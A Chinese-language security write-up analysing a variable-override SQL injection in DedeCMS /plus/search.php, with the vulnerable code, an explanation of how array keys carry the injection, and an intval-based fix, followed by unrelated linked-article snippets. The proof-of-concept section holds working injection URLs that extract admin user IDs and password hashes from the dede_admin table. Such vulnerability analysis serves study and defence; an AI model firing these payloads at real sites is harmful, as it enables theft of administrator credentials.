catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

这个文件有两处注入漏洞

. $typeid变量覆盖导致ChannelTypeid被强制改变: 低风险
. $typeArr的本地变量覆盖注入+$typeid变量覆盖导致SQL注入: 高风险

Relevant Link:

http://graysb.diandian.com/post/2013-03-10/40049018798
http://0day5.com/archives/341

2. 漏洞触发条件

0x1: POC1

http://dede/plus/search.php?typeid=1&keyword=test
/*
在请求的时候URL中要带上keyword,因为在search.php中有对keyword的检测
if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
{
ShowMsg('关键字不能小于2个字节!','-1');
exit();
}
*/

0x2: POC2

http://localhost/dede/plus/search.php?typeArr[1%201%3d2union%20select%20pwd%20from%20dede_admin]=11&kwtype=0&q=11
//$typeArr的键本身是payload,keyword要和这个键的值相同

0x3: Safe Alert: Request Error step 2 !

xx.com/plus/search.php?keyword=as&typeArr[%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

0x4: Safe Alert: Request Error step 1 !

xx.com/plus/search.php?keyword=as&typeArr[%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

Relevant Link:

http://zone.wooyun.org/content/2414

3. 漏洞影响范围
4. 漏洞代码分析

0x1: $typeid变量覆盖导致ChannelTypeid被强制改变

\plus\search.php

..
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : ;
..
$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);
..

\include\arc.searchview.class.php

...
//php5构造函数
function __construct($typeid,$keyword,$orderby,$achanneltype="all", $searchtype='',$starttime=,$upagesize=,$kwtype=,$mid=)
{
global $cfg_search_max,$cfg_search_maxrc,$cfg_search_time;
if(empty($upagesize))
{
$upagesize = ;
}
//直接赋值
$this->TypeID = $typeid;
..
}
..

0x2: $typeArr的本地变量覆盖注入+$typeid变量覆盖导致SQL注入

\plus\search.php

//查找栏目信息
if(empty($typeid))
{
...
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
//黑客通过本地变量覆盖漏洞改变$typeArr变量的值,进入if判断逻辑
if(isset($typeArr) && is_array($typeArr))
{
//1. 遍历这个全局数组$typeArr,从中取出键值对
foreach($typeArr as $id => $typename)
{
/*
2. 从我们输入的关键字参数$keyword中删除这个全局数组($typeArr)中出现过的值,也就是说,这个$typeArr本来是充当一个敏感关键字的数组的作用
3. 注意,str_replace()返回的是替换后的数组或者字符串
4. 如果检测到了我们规定的关键字($typeArr中保存的值)出现在了我们输出的$keyword参数中,就进行过滤并删除
*/
$keywordn = str_replace($typename, ' ', $keyword);
if($keyword != $keywordn)
{
$keyword = $keywordn;
//5. 但是在过滤的过程中,却发生了另一个本地变量覆盖,$typeid这个变量会被"直接"带入到后续的SQL查询中
$typeid = $id;
break;
}
}
}
}

\include\arc.searchview.class.php

function __construct($typeid,$keyword,$orderby,$achanneltype="all", $searchtype='',$starttime=,$upagesize=,$kwtype=,$mid=)
{
..
$this->TypeID = $typeid;
...
else
{
//将可能包含黑客注入畸形字符的$this->TypeID直接带入SQL查询
$row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
$this->ChannelTypeid=$row['channeltype'];
}
..
}
..

这种注入是利用了数组的键进行了注入

Relevant Link:

http://www.2cto.com/Article/201301/184105.html

5. 防御方法

\plus\search.php

//查找栏目信息
if(empty($typeid))
{
..
if($keyword != $keywordn)
{
$keyword = HtmlReplace($keywordn);
//对键值$id进行规范化处理
$typeid = intval($id);
break;
}
..
}
..
//对$typeid进行规范化处理
$typeid = intval($typeid);
..

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

dedecms /plus/search.php SQL Injection && Local Variable Overriding的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . dedecms原生提供一个"本地变量注册"的模拟 ...

  4. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

  5. dedecms /member/uploads_edit.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.p ...

  6. dedecms /member/resetpassword.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 DEDEcms SQL注入漏洞导致可以修改任意用户密码 2. 漏洞触发条 ...

  7. dedecms /member/reg_new.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 http://127 ...

  8. dedecms /member/pm.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

  9. dedecms /member/myfriend_group.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

随机推荐

  1. Protocol https not supported or disabled in libcurl

    最后用PHP Curl 模拟访问HTTPS ,总是得到 Protocol https not supported or disabled in libcurl 错误,奇怪了,找了很多资料,有人说没有开 ...

  2. 我这样理解js里的this

    关于this,是很多前端面试必考的题目,有时候在网上看到这些题目,自己试了一下,额,还真的错了!在实际开发中,也会遇到 this 的问题(虽然一些类库会帮我们处理),例如在使用一些框架的时候,例如:k ...

  3. LINQ基础概述

    介绍LINQ基础之前,首说一下LINQ 的历史和LINQ是什么,然后说一下学习 LINQ要了解的东西和 LINQ基础语法   LINQ 的历史 从语言方面的进化 –委托 –匿名方法 –Lambda表达 ...

  4. 快速备份和还原 MySQL 数据库的另一种方法

    一直使用 SQL Server 作为公司产品的数据库来存储系统数据,所以备份还原一直都不是问题,因为 SQL Server 的备份还原非常迅速和易用.但今年公司改变策略,使用起 MySQL 数据库作为 ...

  5. 【干货分享】JPager.Net MVC超好用轻量级分页控件

    JPager.Net  MVC好用的轻量级分页控件,好用到你无法想象,轻量到你无法想象. JPager.Net  MVC好用的轻量级分页控件,实现非常简单,使用也非常简单. JPager.Net  M ...

  6. web安全——代理(nginx)

    场景 过滤非正常用户使用的http请求. 限制正常用户使用的范围(下载速度.访问频率等). 通过架构规划来提升安全. 能自动解决http请求问题. 解决方案 代理自身的安全 千万不要使用root启动! ...

  7. 综合使用spring cloud技术实现微服务应用

    在之前的章节,我们已经实现了配置服务器.注册服务器.微服务服务端,实现了服务注册与发现.这一章将实现微服务的客户端,以及联调.实现整个spring cloud框架核心应用. 本文属于<7天学会s ...

  8. 一个奇妙的java坑:Long 类型的比较

    Long userId=127L; Long authorId=127L; System.out.println(userId==authorId);//true userId=128L; autho ...

  9. Adobe Flash builder 4.6破解教程(以win764bit为例)

    首先安装软件至默认路径: C:\Program Files(X86)\Adobe下 然后: 1.C:\Program Files (x86)\Adobe\Adobe Flash Builder 4.6 ...

  10. android Baseadapter 和 ViewHolder的使用

    昨晚学习了徐大神的关于BaseAdapter的讲解,让我受益匪浅特来博客留下印记 说到baseadapter大家一定都不陌生,下面这张图就展示了数据.listview.baseadapter 之间的关 ...